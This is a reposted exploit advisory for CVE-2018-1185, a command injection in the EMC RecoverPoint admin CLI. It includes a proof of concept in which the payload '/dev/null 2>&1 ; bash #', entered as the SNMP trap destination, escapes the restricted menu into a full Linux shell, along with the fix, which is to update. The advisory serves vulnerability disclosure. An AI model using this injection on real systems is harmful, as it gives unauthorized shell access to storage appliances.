|
EMC RecoverPoint 4.3 - 'Admin CLI' Command Injection
|
|
来源：https://github.com/bao7uo 作者：Taylor 发布时间：2018-05-14
|
|
# Exploit Title: EMC RecoverPoint 4.3 - Admin CLI Command Injection
# Version: RecoverPoint prior to 5.1.1 RecoverPoint for VMs prior to 5.0.1.3
# Date: 2018-05-11
# Exploit Author: Paul Taylor
# Github: https://github.com/bao7uo
# Tested on: RecoverPoint for VMs 4.3, RecoverPoint 4.4.SP1.P1
# CVE: CVE-2018-1185
1. Description
An OS command injection vulnerability resulting in code execution as the built-in admin user.
A crafted entry can result in the ability to escape from the restricted admin user's menu driven CLI to a full Linux operating system shell in the context of the admin user. The attack vector is the trap destination (hostname/IP) parameter of the test_snmp function.
2. Proof of Concept
RecoverPoint> test_snmp
Enter the trap destination (host name or IP)
> /dev/null 2>&1 ; bash #
admin@RecoverPoint:/home/kos/cli$ exit
exit
Test completed successfully.
RecoverPoint>
3. Solution:
Update to latest version of RecoverPoint
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
